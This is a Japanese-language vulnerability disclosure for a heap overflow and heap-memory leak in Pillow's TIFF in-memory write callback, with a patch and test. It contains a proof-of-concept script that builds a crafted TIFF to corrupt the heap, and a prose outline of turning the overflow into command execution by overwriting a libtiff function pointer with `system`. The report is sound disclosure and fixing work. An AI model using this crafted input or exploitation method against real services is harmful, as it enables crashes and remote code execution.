Pillow: `_tiffWriteProc`関数におけるヒープバッファオーバーフローの脆弱性(TIFF画像をBytesIOに保存時)

```
============================================================================
`_tiffWriteProc`関数におけるヒープバッファオーバーフローの脆弱性(TIFF画像をBytesIOに保存時)
場所: src/libImaging/TiffDecode.c:94 の `_tiffWriteProc()` 関数
コミット: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

Pillowは、TIFF画像をファイルではなく、`io.BytesIO`のようなメモリ上の宛先に保存する際に、攻撃者が指定したデータをヒープバッファの末尾を超えて書き込む脆弱性を持っています。同じコードは、プロセス内の未使用のヒープメモリを保存ファイルにコピーすることもあります。TIFF画像を開き、それをこの方法で再保存するサービスに画像を送信できるユーザーは、デフォルト設定でこの脆弱性を引き起こす可能性があります。添付の再現コードはプロセスをクラッシュさせますが、オーバーフローはさらに悪用される可能性があります。ただし、コードの実行はここでは示されていません。

このバグは、`src/libImaging/TiffDecode.c`の`_tiffWriteProc`関数にあります。これは、Pillowがlibtiffに提供する、ファイルディスクリプタ(`fileno()`)がないメモリ上の宛先に対する書き込みコールバック関数です。ディレクトリを書き込む際、libtiffは現在のデータ終了位置を超えて検索し、その場所にタグの値を書き込みます。`_tiffWriteProc`関数は、`realloc()`のサイズを`state->size + size`から取得しますが、書き込み位置である`state->loc`から取得していません。その結果、その検索後に書き込まれる最初のタグの値が、割り当てられた領域を超えて、最大でディレクトリのサイズ分(1エントリあたり12バイト、最小構成では126バイト、331エントリのディレクトリでは2384バイト)まで書き込まれる可能性があります。オーバーフローするバイトは、アップロードされたファイルから取得されたタグの値の末尾です。

保存オプションは不要です。なぜなら、圧縮やタグは元の画像から引き継がれるからです。ただし、オーバーフローが発生すると、攻撃者が操作できるような、通常の配置ではないタグがlibtiffに到達する可能性があります。これは、開いたTIFFファイルを直接保存する場合(ImageDescription、DocumentName、またはXMP)、または、`im.info`内の`copy()`で生き残る埋め込みICCプロファイルを経由する場合に発生します。libtiffがアライメントのためにスキップするバイトは初期化されていないため、この方法で書き込まれた64 KiBを超える圧縮TIFFファイルは、パディングの穴ごとに1バイトの古いヒープメモリを漏洩させます。この漏洩には、特別なタグは必要ありません。

添付の再現スクリプトは、131 KBのPackBits TIFFファイルを生成し、`Image.open(...).save(io.BytesIO(), "TIFF")`を実行します。同じ画像をファイルパスに保存すると成功しますが、`BytesIO`への保存は、glibcの`malloc(): corrupted top size`というエラーで中断されます。スクリプトの後半は、ファイルへの保存ではゼロになっている`BytesIO`への保存におけるパディングオフセットの初期化されていないヒープバイトを表示します。実際のファイルへの保存には影響はありません。この問題は、e782fe721e01(2013年)に遡り、Pillow 2.0.0から存在していました。

## 詳細

`im.save()`が、有効な`fileno()`を持たないターゲット(`io.BytesIO`、HTTPレスポンスオブジェクト、またはストレージバックエンドストリームなど)にTIFFファイルをlibtiff経由で書き込む場合、libtiffはPillow自身のインメモリシンクである`TIFFClientOpen()`で開き、`_tiffWriteProc` / `_tiffSeekProc`が`src/libImaging/TiffDecode.c`で実行されます。libtiffはこのシンクをファイルとして扱います。ディレクトリを書き込む際、libtiffは現在のデータ終了位置を超えてシークします(`eof + IFD size`まで。ここで、通常の配置ではないタグの値が配置され、奇数長のタグ値の後には、オフセットが偶数になるように1バイトさらにシークします)。実際のファイルでは、カーネルがファイルを拡張し、そのギャップをゼロで埋めます。しかし、メモリシンクでは、どちらも正しく行われません。

1. `_tiffWriteProc`関数は、`realloc()`のサイズを`state->size + size`として設定しますが、`state->loc + size`ではありません。そのため、シーク操作後に最初に行われる書き込みが、新しい割り当て領域の末尾を超えてしまう可能性があります。これは、ヒープバッファオーバーフローを引き起こし、保存されている画像から読み取られたタグデータがその内容となります。
2. libtiffがスキップするバイトは決して書き込まれません。また、拡張された領域は単純な`realloc()`の結果であるため、ヒープに以前に存在していたデータがそのまま出力TIFFファイルに書き込まれます。

これらの問題は、デフォルト設定で、通常の「アップロードを再エンコードする」という処理シーケンス `Image.open(upload); im.save(io.BytesIO(), "TIFF")` を実行した場合に発生します。この際、保存オプションが指定されていない場合、`compression`はソースファイルのデフォルト値を使用します(`src/PIL/TiffImagePlugin.py:1734`)、raw以外の圧縮形式を選択するとlibtiffライターが使用されます(`:1746`)、ソースの`tag_v2`エントリがlibtiffに渡されます(`:1959`)、そして`fileno()`が指定されていない場合、`_fp = 0`となり、メモリ領域が使用されます(`:1928-1935`)。オーバーフローが発生する状況では、さらに攻撃者が制御できる、適切な長さのタグ値がlibtiffに渡される必要があります。開かれた`TiffImageFile`を直接保存する場合(`tag_v2`がそのまま渡される)、約64 KiBのASCIIタグ(269/270/271/272)や、XMPパケット(タグ700、型BYTE — 任意のバイト列)が該当する可能性があります。アップロードに含まれるタグの数が、IFD(Image File Directory)のサイズを決定し、それがオーバーランの長さを決定します(1エントリあたり12バイト。331エントリのIFDの場合、2384バイト)。`convert()`/`resize()`/`thumbnail()`/`copy()`によって`tag_v2`エントリは削除されますが、`im.info["compression"]`(依然としてlibtiffを選択)と`im.info["icc_profile"]`は残り、ICCプロファイルがタグ34675として書き込まれます(`:1822-1824`)。これもまた、攻撃者が制御できる、アウトオブラインの値です。`Image.open(x).copy().save(BytesIO(), "TIFF")`で、ペイロードをICCプロファイルに含めることで、同じASanレポートが得られます。一方、スタティックバイトの問題は、攻撃者がタグを送信する必要がありません。

**検証 (オーバーフロー)。** 131,198バイトの、手作業で作成されたTIFFファイル(モードL、7×8191、`Compression=32773`(PackBits)、`ImageDescription`が65,535文字)を`Image.open()`で開き、`im.save(io.BytesIO(), "TIFF")`で保存すると、glibcの`malloc(): corrupted top size`というエラーでプログラムが停止します。同じ操作をC拡張モジュールのAddressSanitizerビルドで実行すると、以下のエラーメッセージが表示されます。

```
AddressSanitizer: heap-buffer-overflow ... WRITE of size 65536
#1 _tiffWriteProc src/libImaging/TiffDecode.c:115
#4 TIFFFlush
#5 ImagingLibTiffEncode src/libImaging/TiffDecode.c:1056
0 bytes to the right of 131072-byte region, allocated by realloc in _tiffWriteProc src/libImaging/TiffDecode.c:103
```

**検証 (初期化されていないバイト)。** 300×300のRGB画像を、`compression="tiff_lzw"`で、4つの奇数長のASCIIタグを付与して`BytesIO`に保存します。1回は`MALLOC_PERTURB_=1`(glibcは新規に割り当てられたメモリを0xfeで埋めます)を設定して、もう1回は`MALLOC_PERTURB_=170`(0x55)を設定して保存します。すると、それぞれ369,463バイトのTIFFファイルが生成され、正確に4バイト(0xfeと0x55)が、オフセット369177、369417、369423、369451の位置で異なっていました。これらのバイトは、奇数長の最後のストリップとIFDの間にあるパディングバイト、および、最後のタグ値を除く各奇数長のタグ値の後のパディングバイトです。同じファイルをファイル名で保存すると、バイト単位で完全に同じファイルが生成され、その位置には0x00が入っています。アロケータの調整を行わずに、いくつかの64 KB~400 KBのPythonの`bytes`オブジェクトを0xa7で埋めて解放した後、10個の奇数長のASCIIタグを含むLZW TIFFファイルを再度保存すると、9つのパディング位置すべてに0xa7が入ります。

### コードの解説

シンクの状態は`{data, size (allocated), loc (position), eof (high-water mark)}`です。エンコーダの処理は、ゼロで初期化された64 KBのブロックから開始されます(`TiffDecode.c:863`、`calloc(bufsize, 1)`で、`bufsize = 64*1024`、`flrealloc = 1`)。シークは制約されません。

```c
/* src/libImaging/TiffDecode.c:124-141 _tiffSeekProc */
case 0: state->loc = off; break; /* may exceed eof and size */
case 1: state->loc += off; break;
case 2: state->loc = state->eof + off; break;
```

そして、書き込み処理では `loc <= size` であることが前提となっています。

```c
/* src/libImaging/TiffDecode.c:90-117 _tiffWriteProc */
to_write = MIN(size, state->size - (tsize_t)state->loc); /* loc > size の場合、負の値になる */
if (state->flrealloc && size > to_write) {
tsize_t newsize = state->size;
while (newsize < (size + state->size)) { /* キャパシティの目標は loc を無視する */
…
newsize += 64 * 1024;
}
new_data = realloc(state->data, newsize); /* 末尾は初期化されていない */
…
state->size = newsize;
to_write = size;
}
_TIFFmemcpy((UINT8 *)state->data + state->loc, buf, to_write); /* :115 */
state->loc += (toff_t)to_write;
state->eof = MAX(state->loc, state->eof);
```

オーバーフローが発生する際の、sink への呼び出しに関する gdb のトレース(標準ビルド、2つのプロシージャにブレークポイントを設定)は、libtiff がどのように動作するかを示しています。

```
write size=63064 at loc=8 (eof=8 size=65536) strip data (PackBits re-encode:
write size=2464 at loc=63072 (eof=63072 size=65536) 8 bytes/row × 8191 rows)
seek off=0 whence=2 -> loc=65536 = eof = size TIFFWriteDirectory: end of data, already even
seek off=4; write size=4 at loc=4 link IFD offset into header
seek off=65662 whence=0 (eof=65536 size=65536) 65536 + 126-byte IFD (10 entries) = tag data area
write size=65536 at loc=65662 (eof=65536 size=65536) ImageDescription, first out-of-line value
```

最後の呼び出しでは、`to_write = 65536 − 65662 = −126` となり、ループは `newsize` を `65536 + 65536`、つまり 131072 になるまで増加させます。そして、`memcpy` は `[65662, 131198)` の範囲を 131072 バイトのブロックに書き込みます。これは、ブロックの末尾から 126 バイト先にあり、説明文字列の最後の 126 バイトを含んでいます。`loc`/`eof` は 131198 となり、`size` を超えます。その後、`ImagingLibTiffEncode` は `size = eof` を設定します(`:1067`)そして、同じブロックから `[0, eof)` の範囲をコピーします(`:1073`)。これも、範囲外の読み込みになります。

一般的な状況は以下の通りです。ディレクトリへの書き込み時、ストリップデータは現在の割り当て境界から *IFD-size* バイト以内の範囲に収まり、最初のインラインでないタグ値の長さは、64 KiB の倍数よりもわずかに短い値になります。オーバーランの長さは `IFD size + pad − slack` であり、追加のタグごとに12バイトずつ増加します。シングルバンド画像(L、P、1、I;16、F…)の場合、`BitsPerSample` はインラインで保存され、タグの順序で最初に出現するインラインでない値は、`DocumentName` (269) または `ImageDescription` (270) です。これらはどちらも、ソースファイルから取得した可変長のASCII文字列です。Pillowはピクセルを再エンコードしますが、PackBitsを使用すると、圧縮サイズは攻撃者が選択したピクセル行の決定的な関数であり、リプロダサーは7種類の異なるバイトの行を使用します(1行あたり8バイト → ヘッダーの8バイトを含む正確に65536バイト)。したがって、攻撃者は両方の要素を制御できます。マルチバンド画像の場合、6バイトの `BitsPerSample` 配列が最初に書き込まれ、その増加を吸収するため、RGB画像ではオーバーフローが発生しません。

脆弱性の原因となった部分は、同じシーケンスの無害なバージョンです。LZW/RGBのトレースでは、ストリップデータが奇数オフセット369177で終了します。libtiffはIFDを369178に配置し、タグ値を369364以降に配置し、各奇数長の値を書き込む前に1バイト進みます(`seek off=369418 (loc=369417)`、`write size=5 at loc=369418`、…)。したがって、オフセット369177、369417、369423、および369451は書き込まれません。これらは、`:103` での `realloc()` 呼び出しによって取得されたバッファの一部に位置しており、このバッファはクリアされていないため、出力ファイルには、これらの位置にある以前のヒープの内容が含まれています。初期の64 KiB内に存在する空き領域は、そのブロックが `calloc` で初期化されているため、ゼロで埋められています。

この欠陥は、e782fe721e01 ("wiredfool/Python-Imaging-Library-G4-Tiff-Support" の初期マージ、2013年3月8日) で導入され、Pillow 2.0.0で初めてリリースされました。

## 影響

画像を受け入れ、それをTIFF形式でファイル以外のオブジェクトに変換するサービスは、ディスクにアクセスせずに結果を返したりアップロードしたりする場合によく利用されますが、この場合、画像を提供するユーザーに対して、Pillowのデフォルト設定以外の変更が一切行われていない状態でサービスが公開されます。さらに、この問題は、攻撃者が制御するタグの値がlibtiffに到達することを必要とします。具体的には、アプリケーションが開いたTIFFファイルを保存する際(または、そのタグを保存にコピーする際)にアップロードされるImageDescription/DocumentName/XMP、または、`convert()`/`resize()`/`thumbnail()`/`copy()`といった処理で`im.info`と共に保存される埋め込みICCプロファイルなどが該当します。このような状況下で、巧妙に作成されたシングルバンドTIFFをアップロードすると、アップローダーは、IFDのサイズ分のバイト数(ディレクトリエントリあたり12バイト、最小限の再現例では126バイト、331エントリのIFDでは2384バイト)を、128 KiBクラスの`realloc`ブロックの直後のヒープメモリ領域に書き込みます。この書き換えられるバイト数は、攻撃者が選択したタグの値の一部となります。標準のビルドでは、この最小限の再現例はglibcによって検知され、プロセスが終了します(`SIGABRT`)。

別のバグによって漏洩された2つのアドレスを利用し、この脆弱性を悪用した攻撃では、ASLR/PIE/NXが有効で、デフォルト設定のこのコミットに対する標準的なビルドで、コード実行が行われました(このレポートには、その概念実証コードは含まれていません)。単一プロセスのstdlib `http.server` ワーカが、アップロードごとに `Image.open(BytesIO(body)).save(BytesIO(), "TIFF")` を実行するだけで、攻撃者が指定したシェルコマンド (`id>/tmp/r.XXXXXX`) を実行し、`200` の応答を返し、サービスを継続しました(新たに開始されたワーカに対しては12回中12回、20回無関係なアップロード後には6回中2回成功し、失敗した場合でも通常はワーカは動作し続け、再試行可能です)。2つのアドレス (`&system`, `&PyBytes_Type`) は、同じプロセスでの別の情報漏洩から取得されました。それ以外は、この脆弱性と、PillowのTIFFリーダーが持つ特性を利用したヒープ操作スクリプトによるものです。4.7MBの攻撃用TIFFファイルは、397×165ピクセルの8ビットPackBits画像で、行をエンコードすると正確に65,528バイトになり(ストリップの終端オフセットは65,536)、最初の追加データとして63,942バイトのXMPパケット(タグ700)が含まれており、さらに約500個の非公開IFDエントリが含まれています。`TiffImagePlugin` が、すべてのIFDエントリをIFDの順序で1つの `bytes` オブジェクトに変換し、後続のエントリが同じタグ番号を繰り返す場合に、以前のエントリを解放し、リクエストごとにIFDを3回解析します (`TiffImagePlugin.py:1258`, `:1271`、および `load_end()` 内の `getexif()` at `:1331`)。これらのエントリは、glibcのフリーリストを枯渇させ、`save` が行うすべての大きなメモリ割り当てに対して正確なサイズの穴を作り、さらに、シンクの128 KiBの `realloc` が、アクティブな0x540チャンクの直下に配置され、その下にlibtiff自身の `TIFF` ハンドル (`malloc(1313)` from `TIFFClientOpen`) が配置されます。2384バイトのオーバーフローにより、`TIFF` 構造体の先頭が、コマンド文字列、ゼロで埋められた `tif_dir`、`tif_diroff = 65536`、および `tif_cleanup = system` (オフセット+0x3f8) で書き換えられます。libtiffは、変更されたハンドルに対して `TIFFWriteDirectorySec` を再開し、`(*tif->tif_cleanup)(tif)` を呼び出します。gdbで `__libc_system` をトレースすると、呼び出しは `__libc_system("id>/tmp/r.…") ← libtiff.so.6 ← TIFFFlush ← ImagingLibTiffEncod` のように表示されます。

e (src/libImaging/TiffDecode.c:1056) ← _encode (src/encode.c:139)。オフセットは、各バイナリ定数に基づいています (glibc 2.36, CPython 3.12.14, libtiff 4.5.0, この `_imaging.so`)。これらはすべて、公開されている配布ファイルから取得可能です。

また、64 KiBを超えるサイズの圧縮TIFFファイルを特定のターゲットに書き込むと、アライメントのずれごとに1バイトの古いヒープメモリが、予測可能なオフセットでファイルに書き込まれます(奇数長のタグ値ごとに1つ、そしてIFDの前に最大1つ。この数は、アップロードされたファイルに含まれるタグによって設定されます)。帯域幅は小さいですが、これは他のリクエストによって解放されたデータです。ファイルパスと実際のファイルディスクリプタ(`TIFFFdOpen`)をターゲットとする場合、これらの問題の影響を受けません。この脆弱性は、`TiffDecode.c`のデコード側のヒープオーバーフローであるCVE-2020-35654、CVE-2021-25289、およびCVE-2020-10379と同じクラスであり、攻撃者が同じ位置から攻撃できます。ただし、これはエンコードパスであり、上記の「出力先をファイル以外の場所にする」および「タグをそのまま通過させる」という条件が満たされた場合に発生し、さらにコードの実行は、別のバグからアドレスが漏洩することに依存します。

## 再現方法

`repro`は、インストールされているPillowを使用するPythonスクリプトで、入力データを一時ディレクトリに書き込みます。このスクリプトは2つの部分で構成されています。各部分は、ファイルパスへの保存(これは`TIFFFdOpen`を経由し、正しい動作をします)と、`io.BytesIO`への保存(これは`_tiffWriteProc`というメモリ領域に書き込みます)を比較します。

**パート1:ヒープオーバーフロー** `setup_env()`関数は、`upload.tif`ファイル(131,198バイト)を、1バイトずつ作成します。これは、モードLの、7×8191ピクセルの画像で、`Compression=32773`(PackBits)という圧縮方式を使用し、65,535文字の`ImageDescription`を含んでいます。これらのサイズは、Pillowがピクセルを再エンコードする際に、ストリップのサイズが8 + 8191 × 8 = 65,536バイトになり、それがシンクの初期64 KiBバッファの終端と一致するように調整されています。その後、libtiffは126バイトのIFDをスキップし、65,662のオフセットに65,536バイトの記述を書き込みます。シンクのサイズは131,072バイトまでしか増えないため、記述の最後の126バイトは、ヒープブロックの末尾を超えて書き込まれます。新しい子プロセスでは、スクリプトは`Image.open("upload.tif").save(<target>, "TIFF")`を、オプションなしで実行します。一度は`"out.tif"`をターゲットとして、もう一度は`io.BytesIO()`をターゲットとして実行します。ファイルへの保存は、終了コード0で完了します。BytesIOへの保存は、SIGABRTによって中断され、glibcが`malloc(): corrupted top size`というエラーメッセージを報告します。

**パート2:出力に含まれる古いヒープデータ** `MALLOC_PERTURB_=170`(glibcは、新規に割り当てられたメモリ領域を0x55で埋める)で起動された子プロセスは、シードされたノイズの300×300 RGB画像を、`compression="tiff_lzw"`と、4つの奇数長のASCIIタグとともに保存します。このプロセスは、一度はファイルに、もう一度はBytesIOに保存し、その後、2つの出力が異なるすべてのオフセットを出力します。libtiffは、IFDの前のパディングバイトと、各奇数長のタグ値の後のパディングバイトをスキップします。ファイルには、これらのオフセットに0x00が格納されていますが、BytesIOの出力には、初期化されていない`realloc()`メモリ領域にあった0x55の値が残っています。

この環境での期待される出力:

```
upload.tif: 131198 bytes
ファイルへの保存: 終了コード 0, out.tif = 131210 bytes
BytesIOへの保存: 終了コード -6, stderr: 'malloc(): corrupted top size'
-> ヒープオーバーフローによりプロセスがクラッシュ: True

同じ画像、同じオプションで、ファイルパスとBytesIOへの保存を比較:
オフセット 369177: ファイル 0x00 BytesIO 0x55
オフセット 369417: ファイル 0x00 BytesIO 0x55
オフセット 369423: ファイル 0x00 BytesIO 0x55
オフセット 369451: ファイル 0x00 BytesIO 0x55

-> BytesIOの出力には、書き込まれていないヒープデータが含まれています: True

バグ
```

最後の行は、いずれかの部分に欠陥が見られる場合は `BUG`、そうでない場合は `OK` と表示されます。添付の修正プログラムを適用して再構築すると、BytesIO による保存処理は 0 で終了し、2 つの出力結果は同一になり、スクリプトは `OK` と表示されます。

## 提案される修正

添付の修正プログラムは、`src/libImaging/TiffDecode.c` 内の `_tiffWriteProc` 関数において、スパースファイル(sparse file)の特性を考慮するように変更します。具体的には、バッファのサイズを書き込み位置に基づいて決定し、`realloc()` が追加する領域をゼロで埋めます(初期ブロックはすでに `calloc` で確保されているため、libtiff がスキップするすべてのバイトは 0 として読み込まれます。これは `TIFFFdOpen` を使用する場合と同じです)。`realloc` を使用しない場合(`flrealloc == 0`)において、`loc` が `size` を超える場合も、`to_write` が負の値になるため、`TIFFError` を発生させて書き込みを拒否します。これは `_tiffReadProc` 関数で使用されている方法と同じです。

```diff
- while (newsize < (size + state->size)) {
+ while (newsize < (size + (tsize_t)state->loc)) {
…
+ memset((UINT8 *)new_data + state->size, 0, newsize - state->size);
state->data = new_data;
state->size = newsize;
to_write = size;
+ } else if (to_write < 0) {
+ TIFFError("_tiffWriteProc", "Invalid Write at loc %" PRIu64 ", size: %" PRIu64, …);
+ return 0;
}
```

`_tiffSeekProc` 関数は、libtiff が正当な理由でデータの末尾を超えてシーク(seek)を行うため、変更されていません。書き込み処理が修正されたことで、`eof` が `size` を超えることはなくなり、`ImagingLibTiffEncode` 内の読み込み処理(`:1067`, `:1073`)はブロック内に留まります。この修正プログラムは、`Tests/test_file_libtiff.py` に `test_save_bytesio_seek_past_end` を追加し、PackBits の 64 KiB 境界のケースと、奇数長のタグを持つ LZW ケースについて、ファイルと `BytesIO` の両方に出力し、出力結果が同一であることを検証します。修正プログラムを適用して再構築すると、BytesIO の出力結果はファイル出力結果と完全に一致し、タグの長さが 65410/65535/131071/196607 の場合に AddressSanitizer のレポートは生成されず、影響として記述されているコード実行チェーンは実行されなくなり、既存の TIFF テストはすべてパスします。

## 修正プログラム

`_tiffWriteProc`関数において、リバッファのサイズを、現在のサイズではなく、書き込み位置に基づいて決定し、`realloc`によって追加された領域をゼロで埋めるように修正しました。

これは、上記のコミットにおける`src/libImaging/TiffDecode.c`ファイルに適用されます。

```diff
diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py
index 3d804ea4a..d2a926a62 100644
--- a/Tests/test_file_libtiff.py
+++ b/Tests/test_file_libtiff.py
@@ -760,6 +760,38 @@ class TestFileLibTiff(LibTiffTestCase):
save_bytesio("packbits")
save_bytesio("tiff_lzw")

+ def test_save_bytesio_seek_past_end(self, tmp_path: Path) -> None:
+ # ディレクトリを書き込む際、libtiffは、これまでに書き込まれたデータの末尾を超えてシークし、
+ # その後、その場所にタグの値を書き込みます。インメモリの書き込みバッファが、
+ # サイズを大きくして収まるかどうか、そして、スキップされたバイトがゼロであるかどうかを
+ # 確認します。これは、ファイルに書き込む場合と同じです。
+
+ # 各行に7つの異なるバイトが含まれます。PackBitsは、各行に8バイトを出力するため、
+ # ストリップとヘッダーの合計が正確に64 KiBになり、これはバッファの初期サイズです。
+ im = Image.new("L", (7, 8191))
+ im.putdata([(i * 37) & 0xFF for i in range(7 * 8191)])
+ kwargs = {"compression": "packbits", "description": "D" * 65535}
+
+ outfile = tmp_path / "temp.tif"
+ im.save(outfile, **kwargs)
+ buffer_io = io.BytesIO()
+ im.save(buffer_io, format="tiff", **kwargs)
+ assert buffer_io.getvalue() == outfile.read_bytes()
+
+ # 奇数のタグ値を使用し、libtiffがそれらの間にパディングを行うようにします。
+ # バッファを再割り当てする必要があるほど大きな値です。
+ im = hopper().resize((300, 300))
+ kwargs = {
+ "compression": "tiff_lzw",
+ "description": "abcdef",
+ "software": "xyz0",
+ "tiffinfo": {315: "artist", 33432: "copyright!"},
+ }
+ im.save(outfile, **kwargs)
+ buffer_io = io.BytesIO()
+ im.save(buffer_io, format="tiff", **kwargs)
+ assert buffer_io.getvalue() == outfile.read_bytes()
+
def test_save_ycbcr(self, tmp_path: Path) -> None:
im = hopper("YCbCr")
outfile = tmp_path / "temp.tif"
diff --git a/src/libImaging/TiffDecode.c b/src/libI
```

maging/TiffDecode.c
インデックス 8a57c523d..dd9945493 100644
--- a/src/libImaging/TiffDecode.c
+++ b/src/libImaging/TiffDecode.c
@@ -87,11 +87,13 @@ _tiffWriteProc(thandle_t hdata, tdata_t buf, tsize_t size) {
TRACE(("_tiffWriteProc: %d \n", (int)size));
dump_state(state);

+ // libtiff がバッファの終端を超えてシークしている場合がある (例えば、ディレクトリを書き込むときなど) ため、必要なサイズは現在の位置に基づいています。
to_write = MIN(size, state->size - (tsize_t)state->loc);
if (state->flrealloc && size > to_write) {
tdata_t new_data;
tsize_t newsize = state->size;
- while (newsize < (size + state->size)) {
+ while (newsize < (size + (tsize_t)state->loc)) {
if (newsize > INT_MAX - 64 * 1024) {
return 0;
}
@@ -105,9 +107,20 @@ _tiffWriteProc(thandle_t hdata, tdata_t buf, tsize_t size) {
// fail out
return 0;
}
+ // libtiff が書き込まずにシークした領域を 0 で埋める。これにより、ファイルの場合と同様に、出力されるバイトが 0 になる。
+ memset((UINT8 *)new_data + state->size, 0, newsize - state->size);
state->data = new_data;
state->size = newsize;
to_write = size;
+ } else if (to_write < 0) {
+ TIFFError(
+ "_tiffWriteProc",
+ "Invalid Write at loc %" PRIu64 ", size: %" PRIu64,
+ state->loc,
+ (toff_t)state->size
+ );
+ return 0;
}

TRACE(("to_write: %d\n", (int)to_write));
```

## 再現手順

<details>
<summary>再現手順 — `<code>repro</code>`, 5,434 bytes (クリックして開きます)</summary>

最後の行は、問題が発生すると `BUG`、発生しない場合は `OK` と表示されます。クリーンな状態のそのコミットで再実行すると、`BUG` と表示されます。

```python
#!/usr/bin/env python3
"""
Pillow: heap overflow + stale heap bytes in the libtiff in-memory write sink
(_tiffWriteProc, src/libImaging/TiffDecode.c).

im.save(<BytesIO>, "TIFF") で、どのような圧縮方式を使用しても、libtiff が Pillow のメモリ領域に書き込みを行います。libtiff がディレクトリを書き込む際、これまでに書き込まれたデータの終端 *を超えて* 書き込み位置を求め、そこにタグの値を書き込みます。

1. _tiffWriteProc は、バッファのサイズを `size + write_len` に拡張しますが、本来は `loc + write_len` にすべきです。これにより、書き込みが割り当てられたメモリの範囲を超えて実行される可能性があります。
2. libtiff がスキップしたバイトは、決して書き込まれません。そのため、その場所にヒープに格納されていたデータが、最終的に出力ファイルに書き込まれてしまいます。

ファイルパスに保存する場合、問題なく動作します(カーネルがスキップされたバイトをゼロで埋めるため)。これが、両方の動作を制御する要素です。
"""
import os
import resource
import struct
import subprocess
import sys
import tempfile

resource.setrlimit(resource.RLIMIT_CORE, (0, 0)) # オーバーフローが発生するとプログラムが異常終了します。コアファイルは作成されません。
os.chdir(tempfile.mkdtemp())

def run(code, **env):
"""インストールされている Pillow に対して、新しいプロセスで Python のコードを実行します。"""
return subprocess.run([sys.executable, "-c", code], env={**os.environ, **env},
capture_output=True, text=True)

def setup_env():
"""upload.tif を作成します。これは、L モードで 7x8191 のサイズで PackBits 圧縮された TIFF ファイルで、ImageDescription に 65535 文字が含まれています。"""

サイズは、Pillowが再エンコードする際に以下の条件を満たすように選択されます。
- PackBitsのデータストリップは、8191行 x 8バイト + 8バイトのヘッダー = 65536バイトです。
つまり、データが完全に、シンクの初期の64 KiBバッファに収まります。
- 最初のインラインでないタグの値(ImageDescription + NUL)は65536バイトで、65536 + 126の位置に配置されます(10個のIFDエントリがその間に配置されます)。
シンクは65536 + 65536 = 131072バイトまで成長し、その後[65662, 131198)の範囲に書き込みを行います。
説明の最後の126バイトが、ヒープブロックの末尾を超えて書き込まれます。
"""
w, h = 7, 8191
# 各行あたり7種類の異なるバイトを使用 -> PackBitsは、1 + 7バイトの1つのリテラル実行しか出力できません。
strip = b"".join(b"\x06" + bytes((y * 7 + x) * 37 & 0xFF for x in range(w)) for y in range(h))
desc = b"D" * 65535 + b"\x00"
strip_off, desc_off = 8, 8 + len(strip)
ifd_off = desc_off + len(desc)
entries = [
(256, 4, 1, w), # ImageWidth
(257, 4, 1, h), # ImageLength
(258, 3, 1, 8), # BitsPerSample
(259, 3, 1, 32773), # Compression = PackBits (save()関数で継承されます)
(262, 3, 1, 1), # PhotometricInterpretation = BlackIsZero
(270, 2, len(desc), desc_off), # ImageDescription (tag_v2を介してsave()関数に渡されます)
(273, 4, 1, strip_off), # StripOffsets
(277, 3, 1, 1), # SamplesPerPixel
(278, 4, 1, h), # RowsPerStrip
(279, 4, 1, len(strip)), # StripByteCounts
]
ifd = struct.pack("<H", len(entries))
ifd += b"".join(struct.pack("<HHII", *e) for e in entries)
ifd += struct.pack("<I", 0)
with open("upload.tif", "wb") as f:
f.write(struct.pack("<2sHI", b"II", 42, ifd_off) + strip + desc + ifd)

```
# ---------------------------------------------------------------------------
# パート1:ヒープバッファオーバーフロー。アップロードされたTIFFファイルを、オプションなしで再保存します。
# ---------------------------------------------------------------------------
setup_env()
print(f"upload.tif: {os.path.getsize('upload.tif')} バイト")

RESAVE = 'from PIL import Image; import io; Image.open("upload.tif").save({target}, "TIFF")'

# 制御:ファイルパスへの保存(実際のファイルディスクリプタ、メモリへの書き込みなし)が機能することを確認
control = run(RESAVE.format(target='"out.tif"'))
print(f"ファイルパスへの保存:終了コード {control.returncode}, out.tif = {os.path.getsize('out.tif')} バイト")

# PoC:BytesIOへの同一の保存
poc = run(RESAVE.format(target="io.BytesIO()"))
print(f"BytesIOへの保存:終了コード {poc.returncode}, stderr: {poc.stderr.strip()!r}")

# シグナルによってプロセスが終了した場合(glibcのヒープチェックからのSIGABRT)= ヒープが破損
overflow = control.returncode == 0 and poc.returncode < 0
print(f"-> ヒープオーバーフローによってプロセスがクラッシュしました: {overflow}\n")
```

```
# ---------------------------------------------------------------------------
# パート2:出力に古いヒープのデータが残っている。MALLOC_PERTURB_=170 を設定すると、glibc が新しいメモリ領域を 0x55 で埋めるため、書き込まれていないデータが可視化される。
# ---------------------------------------------------------------------------
STALE = r'''
import io, random
from PIL import Image
random.seed(1)
im = Image.new("RGB", (300, 300)) # ノイズ -> 約360KB の LZW 圧縮。そのため、出力先は realloc() する必要がある。
im.putdata([tuple(random.randrange(256) for _ in "rgb") for _ in range(300 * 300)])
# 奇数長の ASCII タグ:libtiff は、各タグの後に1バイトのパディングをスキップする。
kw = dict(compression="tiff_lzw", description="abcdef", software="xyz0",
tiffinfo={315: "artist", 33432: "copyright!", 306: "2024:01:01 00:00:00"})
im.save("ref.tif", "TIFF", **kw)
buf = io.BytesIO()
im.save(buf, "TIFF", **kw)
a, b = open("ref.tif", "rb").read(), buf.getvalue()
for i in (i for i in range(len(a)) if a[i] != b[i]):
print(f" offset {i}: file 0x{a[i]:02x} BytesIO 0x{b[i]:02x}")
'''
stale = run(STALE, MALLOC_PERTURB_="170").stdout
print("同じ画像、同じオプションで、ファイルパスに保存した場合と BytesIO に保存した場合:")
print(stale or " 出力結果は同一")
leak = "BytesIO 0x55" in stale
print(f"-> BytesIO の出力に、書き込まれていないヒープのデータが含まれています:{leak}\n")

print("BUG" if overflow or leak else "OK")
```
</details>

---

影響を受けるパッケージ:
- pip (Python) Pillow: 影響を受けるバージョン >= 2.0.0, < 13.0.0、修正されたバージョン 13.0.0